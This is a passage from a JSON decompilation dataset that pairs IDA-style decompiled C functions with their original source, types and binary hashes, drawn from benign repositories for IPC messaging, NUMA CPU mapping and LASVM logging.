"a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "freeNodeList", "canonical_name": "func5", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "__int64 __fastcall freeNodeList(__int64 a1)\n{\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nwhile ( a1 )\n{\nv3 = *(_QWORD *)(a1 + 8);\nif ( *(_QWORD *)a1 )\nfree(*(void **)a1);\nfree((void *)a1);\na1 = v3;\n}\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(__int64 a1)\n{\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nwhile ( a1 )\n{\nv3 = *(_QWORD *)(a1 + 8);\nif ( *(_QWORD *)a1 )\nfree(*(void **)a1);\nfree((void *)a1);\na1 = v3;\n}\nreturn 0LL;\n}", "original_code": "int freeNodeList(nodeList* nodes) {\n nodeList* nextNode;\n while (nodes != ((void *)0)) {\n nextNode = nodes->next;\n if (nodes->node != ((void *)0))\n free(nodes->node);\n free(nodes);\n nodes = nextNode;\n }\n return 0;\n}", "canonical_original_code": "int freeNodeList(struct nodeList *nodes) {\n struct nodeList *nextNode;\n while (nodes != ((void *)0)) {\n nextNode = nodes->next;\n if (nodes->node != ((void *)0))\n free(nodes->node);\n free(nodes);\n nodes = nextNode;\n }\n return 0;\n}", "variable_types": [ [ "nodes", "struct nodeList { struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; } *node; struct nodeList *next; } *" ], [ "nextNode", "struct nodeList { struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; } *node; struct nodeList *next; } *" ] ], "return_type": "int", "user_defined_types": [ "struct nodeList { struct nodeInfo *node; struct nodeList *next; }", "struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "calculateConnectedNodes", "canonical_name": "func6", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "__int64 __fastcall calculateConnectedNodes(int a1)\n{\n__int64 v2; // [rsp+18h] [rbp-18h]\nint v3; // [rsp+24h] [rbp-Ch]\n__int64 v4; // [rsp+28h] [rbp-8h]\n\nv3 = 0;\nv2 = initNodeList();\nv4 = v2;\nif ( a1 == 0x7FFFFFFF )\n{\n**(_DWORD **)v2 = 0;\n}\nelse\n{\nif ( !a1 )\n{\n**(_DWORD **)v2 = 0x7FFFFFFF;\nv3 = 1;\n}\nif ( a1 % 3 != 2 )\n{\nif ( v3 )\n{\n*(_QWORD *)(v2 + 8) = initNodeList();\nv4 = *(_QWORD *)(v2 + 8);\n}\nelse\n{\nv3 = 1;\n}\n**(_DWORD **)v4 = a1 + 1;\n}\nif ( a1 % 3 )\n{\nif ( v3 )\n{\n*(_QWORD *)(v4 + 8) = initNodeList();\nv4 = *(_QWORD *)(v4 + 8);\n}\nelse\n{\nv3 = 1;\n}\n**(_DWORD **)v4 = a1 - 1;\n}\nif ( a1 + 3 < 9 )\n{\nif ( v3 )\n{\n*(_QWORD *)(v4 + 8) = initNodeList();\nv4 = *(_QWORD *)(v4 + 8);\n}\nelse\n{\nv3 = 1;\n}\n**(_DWORD **)v4 = a1 + 3;\n}\nif ( a1 - 3 >= 0 )\n{\nif ( v3 )\n{\n*(_QWORD *)(v4 + 8) = initNodeList();\nv4 = *(_QWORD *)(v4 + 8);\n}\n**(_DWORD **)v4 = a1 - 3;\n}\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(int a1)\n{\n__int64 v2; // [rsp+18h] [rbp-18h]\nint v3; // [rsp+24h] [rbp-Ch]\n__int64 v4; // [rsp+28h] [rbp-8h]\n\nv3 = 0;\nv2 = func9();\nv4 = v2;\nif ( a1 == 0x7FFFFFFF )\n{\n**(_DWORD **)v2 = 0;\n}\nelse\n{\nif ( !a1 )\n{\n**(_DWORD **)v2 = 0x7FFFFFFF;\nv3 = 1;\n}\nif ( a1 % 3 != 2 )\n{\nif ( v3 )\n{\n*(_QWORD *)(v2 + 8) = func9();\nv4 = *(_QWORD *)(v2 + 8);\n}\nelse\n{\nv3 = 1;\n}\n**(_DWORD **)v4 = a1 + 1;\n}\nif ( a1 % 3 )\n{\nif ( v3 )\n{\n*(_QWORD *)(v4 + 8) = func9();\nv4 = *(_QWORD *)(v4 + 8);\n}\nelse\n{\nv3 = 1;\n}\n**(_DWORD **)v4 = a1 - 1;\n}\nif ( a1 + 3 < 9 )\n{\nif ( v3 )\n{\n*(_QWORD *)(v4 + 8) = func9();\nv4 = *(_QWORD *)(v4 + 8);\n}\nelse\n{\nv3 = 1;\n}\n**(_DWORD **)v4 = a1 + 3;\n}\nif ( a1 - 3 >= 0 )\n{\nif ( v3 )\n{\n*(_QWORD *)(v4 + 8) = func9();\nv4 = *(_QWORD *)(v4 + 8);\n}\n**(_DWORD **)v4 = a1 - 3;\n}\n}\nreturn v2;\n}", "original_code": "nodeList* calculateConnectedNodes(nodeInfo node) {\n nodeList *nodes, *currentNode;\n int currentNodeIsResolved = 0;\n const int meshSize = 3;\n currentNode = nodes = initNodeList();\n if (node.id == 0x7fffffff) {\n currentNode->node->id = 0;\n currentNodeIsResolved = 1;\n } else {\n if (node.id == 0) {\n currentNode->node->id = 0x7fffffff;\n currentNodeIsResolved = 1;\n }\n if (node.id%meshSize != meshSize - 1) {\n if (currentNodeIsResolved) {\n currentNode->next = initNodeList();\n currentNode = currentNode->next;\n } else {\n currentNodeIsResolved = 1;\n }\n currentNode->node->id = node.id + 1;\n }\n if (node.id%meshSize != 0) {\n if (currentNodeIsResolved) {\n currentNode->next = initNodeList();\n currentNode = currentNode->next;\n } else {\n currentNodeIsResolved = 1;\n }\n currentNode->node->id = node.id - 1;\n }\n if (node.id+meshSize < meshSize*meshSize) {\n if (currentNodeIsResolved) {\n currentNode->next = initNodeList();\n currentNode = currentNode->next;\n } else {\n currentNodeIsResolved = 1;\n }\n currentNode->node->id = node.id + meshSize;\n }\n if (node.id-meshSize >= 0) {\n if (currentNodeIsResolved) {\n currentNode->next = initNodeList();\n currentNode = currentNode->next;\n } else {\n currentNodeIsResolved = 1;\n }\n currentNode->node->id = node.id - meshSize;\n }\n }\n return nodes;\n}", "canonical_original_code": "struct nodeList *calculateConnectedNodes(struct nodeInfo node) {\n struct nodeList *nodes; struct nodeList *currentNode;\n int currentNodeIsResolved = 0;\n int meshSize = 3;\n currentNode = nodes = initNodeList();\n if (node.id == 0x7fffffff) {\n currentNode->node->id = 0;\n currentNodeIsResolved = 1;\n } else {\n if (node.id == 0) {\n currentNode->node->id = 0x7fffffff;\n currentNodeIsResolved = 1;\n }\n if (node.id%meshSize != meshSize - 1) {\n if (currentNodeIsResolved) {\n currentNode->next = initNodeList();\n currentNode = currentNode->next;\n } else {\n currentNodeIsResolved = 1;\n }\n currentNode->node->id = node.id + 1;\n }\n if (node.id%meshSize != 0) {\n if (currentNodeIsResolved) {\n currentNode->next = initNodeList();\n currentNode = currentNode->next;\n } else {\n currentNodeIsResolved = 1;\n }\n currentNode->node->id = node.id - 1;\n }\n if (node.id+meshSize < meshSize*meshSize) {\n if (currentNodeIsResolved) {\n currentNode->next = initNodeList();\n currentNode = currentNode->next;\n } else {\n currentNodeIsResolved = 1;\n }\n currentNode->node->id = node.id + meshSize;\n }\n if (node.id-meshSize >= 0) {\n if (currentNodeIsResolved) {\n currentNode->next = initNodeList();\n currentNode = currentNode->next;\n } else {\n currentNodeIsResolved = 1;\n }\n currentNode->node->id = node.id - meshSize;\n }\n }\n return nodes;\n}", "variable_types": [ [ "node", "struct nodeInfo" ], [ "nodes", "struct nodeList { struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; } *node; struct nodeList *next; } *" ], [ "currentNode", "struct nodeList { struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; } *node; struct nodeList *next; } *" ], [ "currentNodeIsResolved", "int" ], [ "meshSize", "int" ] ], "return_type": "struct nodeList { struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; } *node; struct nodeList *next; } *", "user_defined_types": [ "struct nodeList { struct nodeInfo *node; struct nodeList *next; }", "struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "initMessageList", "canonical_name": "func7", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "_QWORD *initMessageList()\n{\n_QWORD *result; // rax\n\nresult = malloc(0x18uLL);\n*result = 0LL;\nresult[1] = 0LL;\nresult[2] = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "_QWORD *func7()\n{\n_QWORD *result; // rax\n\nresult = malloc(0x18uLL);\n*result = 0LL;\nresult[1] = 0LL;\nresult[2] = 0LL;\nreturn result;\n}", "original_code": "messageList *initMessageList() {\n messageList *list = malloc(sizeof(messageList));\n list->message = ((void *)0);\n list->next = ((void *)0);\n list->previous = ((void *)0);\n return list;\n}", "canonical_original_code": "struct messageList *initMessageList() {\n struct messageList *list = malloc(sizeof(messageList));\n list->message = ((void *)0);\n list->next = ((void *)0);\n list->previous = ((void *)0);\n return list;\n}", "variable_types": [ [ "list", "struct messageList { struct message { long mtype; struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; } mdata; } *message; struct messageList *next; struct messageList *previous; } *" ] ], "return_type": "struct messageList { struct message { long mtype; struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; } mdata; } *message; struct messageList *next; struct messageList *previous; } *", "user_defined_types": [ "struct messageList { struct message *message; struct messageList *next; struct messageList *previous; }", "struct message { long mtype; struct data mdata; }", "struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "initNode", "canonical_name": "func8", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "_QWORD *initNode()\n{\n_QWORD *result; // rax\n\nresult = malloc(0x10uLL);\nresult[1] = 0LL;\n*((_DWORD *)result + 1) = -1;\nreturn result;\n}\n", "canonical_decompiled_code": "_QWORD *func8()\n{\n_QWORD *result; // rax\n\nresult = malloc(0x10uLL);\nresult[1] = 0LL;\n*((_DWORD *)result + 1) = -1;\nreturn result;\n}", "original_code": "nodeInfo* initNode() {\n nodeInfo* node = malloc(sizeof(nodeInfo));\n node->connectedNodes = ((void *)0);\n node->msgid = -1;\n return node;\n}", "canonical_original_code": "struct nodeInfo *initNode() {\n struct nodeInfo *node = malloc(sizeof(nodeInfo));\n node->connectedNodes = ((void *)0);\n node->msgid = -1;\n return node;\n}", "variable_types": [ [ "node", "struct nodeInfo { int id; int msgid; struct nodeList { struct nodeInfo *node; struct nodeList *next; } *connectedNodes; } *" ] ], "return_type": "struct nodeInfo { int id; int msgid; struct nodeList { struct nodeInfo *node; struct nodeList *next; } *connectedNodes; } *", "user_defined_types": [ "struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; }", "struct nodeList { struct nodeInfo *node; struct nodeList *next; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "initNodeList", "canonical_name": "func9", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "_QWORD *initNodeList()\n{\n_QWORD *v1; // [rsp+8h] [rbp-8h]\n\nv1 = malloc(0x10uLL);\n*v1 = initNode();\nv1[1] = 0LL;\nreturn v1;\n}\n", "canonical_decompiled_code": "_QWORD *func9()\n{\n_QWORD *v1; // [rsp+8h] [rbp-8h]\n\nv1 = malloc(0x10uLL);\n*v1 = func8();\nv1[1] = 0LL;\nreturn v1;\n}", "original_code": "nodeList* initNodeList() {\n nodeList* list = malloc(sizeof(nodeList));\n list->node = initNode();\n list->next = ((void *)0);\n return list;\n}", "canonical_original_code": "struct nodeList *initNodeList() {\n struct nodeList *list = malloc(sizeof(nodeList));\n list->node = initNode();\n list->next = ((void *)0);\n return list;\n}", "variable_types": [ [ "list", "struct nodeList { struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; } *node; struct nodeList *next; } *" ] ], "return_type": "struct nodeList { struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; } *node; struct nodeList *next; } *", "user_defined_types": [ "struct nodeList { struct nodeInfo *node; struct nodeList *next; }", "struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "queueIdForNode", "canonical_name": "func10", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "__int64 __fastcall queueIdForNode(int a1)\n{\n__int64 result; // rax\n\nif ( a1 - 198233 <= 0 )\nresult = (unsigned int)(198233 - a1);\nelse\nresult = (unsigned int)(a1 - 198233);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(int a1)\n{\n__int64 result; // rax\n\nif ( a1 - 198233 <= 0 )\nresult = (unsigned int)(198233 - a1);\nelse\nresult = (unsigned int)(a1 - 198233);\nreturn result;\n}", "original_code": "int queueIdForNode(nodeInfo node) {\n register int ret = (node.id - 198233);\n if (ret > 0)\n return ret;\n else\n return -ret;\n}", "canonical_original_code": "int queueIdForNode(struct nodeInfo node) {\n register int ret = (node.id - 198233);\n if (ret > 0)\n return ret;\n else\n return -ret;\n}", "variable_types": [ [ "node", "struct nodeInfo { int id; int msgid; struct nodeList { struct nodeInfo *node; struct nodeList *next; } *connectedNodes; }" ], [ "ret", "int" ] ], "return_type": "int", "user_defined_types": [ "struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; }", "struct nodeList { struct nodeInfo *node; struct nodeList *next; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" } ]
afe0b2094c398e4f773019188600729dd88d99598fbf3e5c0d584505f20dbbb0
jmfaleiro/ReplicatedLocking
[ [ "init_cpuinfo", "->" ], [ "get_cpu", "->" ] ]
[]
[ { "name": "init_cpuinfo", "canonical_name": "func0", "repo": "jmfaleiro/ReplicatedLocking", "decompiled_code": "__int64 init_cpuinfo()\n{\nvoid *v0; // rsp\nint v1; // eax\nvoid **v2; // rbx\n__int64 result; // rax\n__int64 v4[3]; // [rsp+0h] [rbp-60h] BYREF\nint v5; // [rsp+1Ch] [rbp-44h]\nunsigned __int64 v6; // [rsp+20h] [rbp-40h]\n__int64 v7; // [rsp+28h] [rbp-38h]\nint v8; // [rsp+34h] [rbp-2Ch]\nint v9; // [rsp+38h] [rbp-28h]\nint i; // [rsp+3Ch] [rbp-24h]\n\nv9 = numa_num_thread_cpus();\nv8 = numa_num_thread_nodes();\ncpu_info = v8;\nv7 = v8 - 1LL;\nv4[0] = v8;\nv4[1] = 0LL;\nv0 = alloca(16 * ((4LL * v8 + 15) / 0x10uLL));\nv6 = 4 * (((unsigned __int64)v4 + 3) >> 2);\nfor ( i = 0; i < v8; ++i )\n*(_DWORD *)(v6 + 4LL * i) = 0;\n*((_QWORD *)&cpu_info + 1) = malloc(8LL * v8);\nfor ( i = 0; i < v9; ++i )\n{\nv1 = numa_node_of_cpu((unsigned int)i);\n++*(_DWORD *)(v6 + 4LL * v1);\n}\nfor ( i = 0; i < v8; ++i )\n{\nv2 = (void **)(*((_QWORD *)&cpu_info + 1) + 8LL * i);\n*v2 = malloc(4LL * (*(_DWORD *)(v6 + 4LL * i) + 1));\n**(_DWORD **)(*((_QWORD *)&cpu_info + 1) + 8LL * i) = *(_DWORD *)(v6 + 4LL * i);\n*(_DWORD *)(v6 + 4LL * i) = 1;\n}\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)i;\nif ( i >= v9 )\nbreak;\nv5 = numa_node_of_cpu((unsigned int)i);\n*(_DWORD *)(*(_QWORD *)(*((_QWORD *)&cpu_info + 1) + 8LL * v5) + 4LL * (int)(*(_DWORD *)(v6 + 4LL * v5))++) = i;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func0()\n{\nvoid *v0; // rsp\nint v1; // eax\nvoid **v2; // rbx\n__int64 result; // rax\n__int64 v4[3]; // [rsp+0h] [rbp-60h] BYREF\nint v5; // [rsp+1Ch] [rbp-44h]\nunsigned __int64 v6; // [rsp+20h] [rbp-40h]\n__int64 v7; // [rsp+28h] [rbp-38h]\nint v8; // [rsp+34h] [rbp-2Ch]\nint v9; // [rsp+38h] [rbp-28h]\nint i; // [rsp+3Ch] [rbp-24h]\n\nv9 = numa_num_thread_cpus();\nv8 = numa_num_thread_nodes();\ncpu_info = v8;\nv7 = v8 - 1LL;\nv4[0] = v8;\nv4[1] = 0LL;\nv0 = alloca(16 * ((4LL * v8 + 15) / 0x10uLL));\nv6 = 4 * (((unsigned __int64)v4 + 3) >> 2);\nfor ( i = 0; i < v8; ++i )\n*(_DWORD *)(v6 + 4LL * i) = 0;\n*((_QWORD *)&cpu_info + 1) = malloc(8LL * v8);\nfor ( i = 0; i < v9; ++i )\n{\nv1 = numa_node_of_cpu((unsigned int)i);\n++*(_DWORD *)(v6 + 4LL * v1);\n}\nfor ( i = 0; i < v8; ++i )\n{\nv2 = (void **)(*((_QWORD *)&cpu_info + 1) + 8LL * i);\n*v2 = malloc(4LL * (*(_DWORD *)(v6 + 4LL * i) + 1));\n**(_DWORD **)(*((_QWORD *)&cpu_info + 1) + 8LL * i) = *(_DWORD *)(v6 + 4LL * i);\n*(_DWORD *)(v6 + 4LL * i) = 1;\n}\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)i;\nif ( i >= v9 )\nbreak;\nv5 = numa_node_of_cpu((unsigned int)i);\n*(_DWORD *)(*(_QWORD *)(*((_QWORD *)&cpu_info + 1) + 8LL * v5) + 4LL * (int)(*(_DWORD *)(v6 + 4LL * v5))++) = i;\n}\nreturn result;\n}", "original_code": "void\ninit_cpuinfo()\n{\n int i;\n int num_cpus = numa_num_thread_cpus();\n int num_numa_nodes = numa_num_thread_nodes();\n cpu_info.num_nodes = num_numa_nodes;\n int cpu_count[num_numa_nodes];\n for (i = 0; i < num_numa_nodes; ++i)\n cpu_count[i] = 0;\n cpu_info.node_map = (int **)malloc(sizeof(int*) * num_numa_nodes);\n for (i = 0; i < num_cpus; ++i)\n cpu_count[numa_node_of_cpu(i)] += 1;\n for (i = 0; i < num_numa_nodes; ++i) {\n cpu_info.node_map[i] = (int *)malloc(sizeof(int) * (1+cpu_count[i]));\n cpu_info.node_map[i][0] = cpu_count[i];\n cpu_count[i] = 1;\n }\n for (i = 0; i < num_cpus; ++i) {\n int numa_node = numa_node_of_cpu(i);\n cpu_info.node_map[numa_node][cpu_count[numa_node]] = i;\n cpu_count[numa_node] += 1;\n }\n}", "canonical_original_code": "void init_cpuinfo()\n{\n int i;\n int num_cpus = numa_num_thread_cpus();\n int num_numa_nodes = numa_num_thread_nodes();\n cpu_info.num_nodes = num_numa_nodes;\n int cpu_count[-1];\n for (i = 0; i < num_numa_nodes; ++i)\n cpu_count[i] = 0;\n cpu_info.node_map = (int **)malloc(sizeof(int *) * num_numa_nodes);\n for (i = 0; i < num_cpus; ++i)\n cpu_count[numa_node_of_cpu(i)] += 1;\n for (i = 0; i < num_numa_nodes; ++i) {\n cpu_info.node_map[i] = (int *)malloc(sizeof(int) * (1+cpu_count[i]));\n cpu_info.node_map[i][0] = cpu_count[i];\n cpu_count[i] = 1;\n }\n for (i = 0; i < num_cpus; ++i) {\n int numa_node = numa_node_of_cpu(i);\n cpu_info.node_map[numa_node][cpu_count[numa_node]] = i;\n cpu_count[numa_node] += 1;\n }\n}", "variable_types": [ [ "i", "int" ], [ "num_cpus", "int" ], [ "num_numa_nodes", "int" ], [ "cpu_count", "int [-1]" ], [ "numa_node", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "afe0b2094c398e4f773019188600729dd88d99598fbf3e5c0d584505f20dbbb0" }, { "name": "get_cpu", "canonical_name": "func1", "repo": "jmfaleiro/ReplicatedLocking", "decompiled_code": "__int64 __fastcall get_cpu(int a1, int a2)\n{\nint v3; // [rsp+10h] [rbp-8h]\nint v4; // [rsp+14h] [rbp-4h]\n\nif ( a2 )\n{\nv4 = a1 % cpu_info;\nv3 = a1 / **(_DWORD **)(*((_QWORD *)&cpu_info + 1) + 8LL * (a1 % cpu_info));\n}\nelse\n{\nv4 = a1 / cpu_info;\nv3 = a1 % cpu_info;\n}\nreturn *(unsigned int *)(*(_QWORD *)(*((_QWORD *)&cpu_info + 1) + 8LL * v4) + 4LL * (v3 + 1));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(int a1, int a2)\n{\nint v3; // [rsp+10h] [rbp-8h]\nint v4; // [rsp+14h] [rbp-4h]\n\nif ( a2 )\n{\nv4 = a1 % cpu_info;\nv3 = a1 / **(_DWORD **)(*((_QWORD *)&cpu_info + 1) + 8LL * (a1 % cpu_info));\n}\nelse\n{\nv4 = a1 / cpu_info;\nv3 = a1 % cpu_info;\n}\nreturn *(unsigned int *)(*(_QWORD *)(*((_QWORD *)&cpu_info + 1) + 8LL * v4) + 4LL * (v3 + 1));\n}", "original_code": "int\nget_cpu(int index, int striped)\n{\n int node, cpu_index;\n if (striped) {\n node = index % cpu_info.num_nodes;\n cpu_index = index / cpu_info.node_map[node][0];\n }\n else {\n node = index / cpu_info.num_nodes;\n cpu_index = index % cpu_info.num_nodes;\n }\n return cpu_info.node_map[node][1+cpu_index];\n}", "canonical_original_code": "int get_cpu(int index, int striped)\n{\n int node; int cpu_index;\n if (striped) {\n node = index % cpu_info.num_nodes;\n cpu_index = index / cpu_info.node_map[node][0];\n }\n else {\n node = index / cpu_info.num_nodes;\n cpu_index = index % cpu_info.num_nodes;\n }\n return cpu_info.node_map[node][1+cpu_index];\n}", "variable_types": [ [ "index", "int" ], [ "striped", "int" ], [ "node", "int" ], [ "cpu_index", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "afe0b2094c398e4f773019188600729dd88d99598fbf3e5c0d584505f20dbbb0" } ]
10ba2e33f76d0bde038c6a9d54d7f17d6087fc538de2b613ac966f99648fbe33
locklin/lasvm-j
[ [ "defaultproc", "->" ], [ "lasvm_error", "->", "lasvm_assertfail" ], [ "lasvm_warning", "->" ], [ "lasvm_info", "->" ], [ "lasvm_debug", "->" ], [ "lasvm_assertfail", "->", "lasvm_error" ] ]
[]
[ { "name": "defaultproc", "canonical_name": "func0", "repo": "locklin/lasvm-j", "decompiled_code": "int __fastcall defaultproc(unsigned int a1, const char *a2, void *a3)\n{\nint result; // eax\n\nresult = lasvm_message_level;\nif ( a1 <= lasvm_message_level )\nresult = vprintf(a2, a3);\nif ( !a1 )\nabort();\nreturn result;\n}\n", "canonical_decompiled_code": "int __fastcall func0(unsigned int a1, const char *a2, void *a3)\n{\nint result; // eax\n\nresult = lasvm_message_level;\nif ( a1 <= lasvm_message_level )\nresult = vprintf(a2, a3);\nif ( !a1 )\nabort();\nreturn result;\n}", "original_code": "static void\ndefaultproc(lasvm_message_t level, const char *fmt, va_list ap)\n{\n if (level <= lasvm_message_level)\n vprintf(fmt, ap);\n if (level <= LASVM_ERROR)\n abort();\n}", "canonical_original_code": "static void defaultproc(enum lasvm_message_t level, char *fmt, __builtin_va_list ap)\n{\n if (level <= lasvm_message_level)\n vprintf(fmt, ap);\n if (level <= LASVM_ERROR)\n abort();\n}", "variable_types": [ [ "level", "enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }" ], [ "fmt", "char *" ], [ "ap", "__builtin_va_list" ] ], "return_type": "void", "user_defined_types": [ "enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }" ], "binary_hash": "10ba2e33f76d0bde038c6a9d54d7f17d6087fc538de2b613ac966f99648fbe33" }, { "name": "lasvm_error", "canonical_name": "func1", "repo": "locklin/lasvm-j", "decompiled_code": "void __noreturn lasvm_error(const char *a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\ngcc_va_list va; // [rsp+10h] [rbp-D0h] BYREF\nint (__fastcall *v7)(unsigned int, const char *, void *); // [rsp+28h] [rbp-B8h]\n__int64 v8; // [rsp+38h] [rbp-A8h]\n__int64 v9; // [rsp+40h] [rbp-A0h]\n__int64 v10; // [rsp+48h] [rbp-98h]\n__int64 v11; // [rsp+50h] [rbp-90h]\n__int64 v12; // [rsp+58h] [rbp-88h]\n\nva_start(va, a6);\nv8 = a2;\nv9 = a3;\nv10 = a4;\nv11 = a5;\nv12 = a6;\nv7 = (int (__fastcall *)(unsigned int, const char *, void *))lasvm_message_proc;\nva[0].gp_offset = 8;\nif ( !lasvm_message_proc )\nv7 = defaultproc;\nv7(0, a1, va);\nabort();\n}\n", "canonical_decompiled_code": "void __noreturn func1(const char *a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\ngcc_va_list va; // [rsp+10h] [rbp-D0h] BYREF\nint (__fastcall *v7)(unsigned int, const char *, void *); // [rsp+28h] [rbp-B8h]\n__int64 v8; // [rsp+38h] [rbp-A8h]\n__int64 v9; // [rsp+40h] [rbp-A0h]\n__int64 v10; // [rsp+48h] [rbp-98h]\n__int64 v11; // [rsp+50h] [rbp-90h]\n__int64 v12; // [rsp+58h] [rbp-88h]\n\nva_start(va, a6);\nv8 = a2;\nv9 = a3;\nv10 = a4;\nv11 = a5;\nv12 = a6;\nv7 = (int (__fastcall *)(unsigned int, const char *, void *))lasvm_message_proc;\nva[0].gp_offset = 8;\nif ( !lasvm_message_proc )\nv7 = defaultproc;\nv7(0, a1, va);\nabort();\n}", "original_code": "void\nlasvm_error(const char *fmt, ...)\n{\n lasvm_message_proc_t *f = lasvm_message_proc;\n va_list ap;\n __builtin_va_start(ap,fmt);\n if (! f)\n f = defaultproc;\n (*f)(LASVM_ERROR,fmt,ap);\n __builtin_va_end(ap);\n abort();\n}", "canonical_original_code": "void lasvm_error(char *fmt, ...)\n{\n void (*f)(enum lasvm_message_t, char *, __builtin_va_list) = lasvm_message_proc;\n __builtin_va_list ap;\n __builtin_va_start(ap,fmt);\n if (! f)\n f = defaultproc;\n (*f)(LASVM_ERROR,fmt,ap);\n __builtin_va_end(ap);\n abort();\n}", "variable_types": [ [ "fmt", "char *" ], [ "f", "void (*)(enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }, char *, __builtin_va_list)" ], [ "ap", "__builtin_va_list" ] ], "return_type": "void", "user_defined_types": [ "enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }" ], "binary_hash": "10ba2e33f76d0bde038c6a9d54d7f17d6087fc538de2b613ac966f99648fbe33" }, { "name": "lasvm_warning", "canonical_name": "func2", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 lasvm_warning(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\ngcc_va_list va; // [rsp+10h] [rbp-D0h] BYREF\nint (__fastcall *v8)(unsigned int, const char *, void *); // [rsp+28h] [rbp-B8h]\n__int64 v9; // [rsp+38h] [rbp-A8h]\n__int64 v10; // [rsp+40h] [rbp-A0h]\n__int64 v11; // [rsp+48h] [rbp-98h]\n__int64 v12; // [rsp+50h] [rbp-90h]\n__int64 v13; // [rsp+58h] [rbp-88h]\n\nva_start(va, a6);\nv9 = a2;\nv10 = a3;\nv11 = a4;\nv12 = a5;\nv13 = a6;\nv8 = (int (__fastcall *)(unsigned int, const char *, void *))lasvm_message_proc;\nva[0].gp_offset = 8;\nif ( !lasvm_message_proc )\nv8 = defaultproc;\nreturn ((__int64 (__fastcall *)(__int64, __int64, __va_list_tag *))v8)(1LL, a1, va);\n}\n", "canonical_decompiled_code": "__int64 func2(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\ngcc_va_list va; // [rsp+10h] [rbp-D0h] BYREF\nint (__fastcall *v8)(unsigned int, const char *, void *); // [rsp+28h] [rbp-B8h]\n__int64 v9; // [rsp+38h] [rbp-A8h]\n__int64 v10; // [rsp+40h] [rbp-A0h]\n__int64 v11; // [rsp+48h] [rbp-98h]\n__int64 v12; // [rsp+50h] [rbp-90h]\n__int64 v13; // [rsp+58h] [rbp-88h]\n\nva_start(va, a6);\nv9 = a2;\nv10 = a3;\nv11 = a4;\nv12 = a5;\nv13 = a6;\nv8 = (int (__fastcall *)(unsigned int, const char *, void *))lasvm_message_proc;\nva[0].gp_offset = 8;\nif ( !lasvm_message_proc )\nv8 = defaultproc;\nreturn ((__int64 (__fastcall *)(__int64, __int64, __va_list_tag *))v8)(1LL, a1, va);\n}", "original_code": "void\nlasvm_warning(const char *fmt, ...)\n{\n lasvm_message_proc_t *f = lasvm_message_proc;\n va_list ap;\n __builtin_va_start(ap,fmt);\n if (! f)\n f = defaultproc;\n (*f)(LASVM_WARNING,fmt,ap);\n __builtin_va_end(ap);\n}", "canonical_original_code": "void lasvm_warning(char *fmt, ...)\n{\n void (*f)(enum lasvm_message_t, char *, __builtin_va_list) = lasvm_message_proc;\n __builtin_va_list ap;\n __builtin_va_start(ap,fmt);\n if (! f)\n f = defaultproc;\n (*f)(LASVM_WARNING,fmt,ap);\n __builtin_va_end(ap);\n}", "variable_types": [ [ "fmt", "char *" ], [ "f", "void (*)(enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }, char *, __builtin_va_list)" ], [ "ap", "__builtin_va_list" ] ], "return_type": "void", "user_defined_types": [ "enum lasvm_message_t { 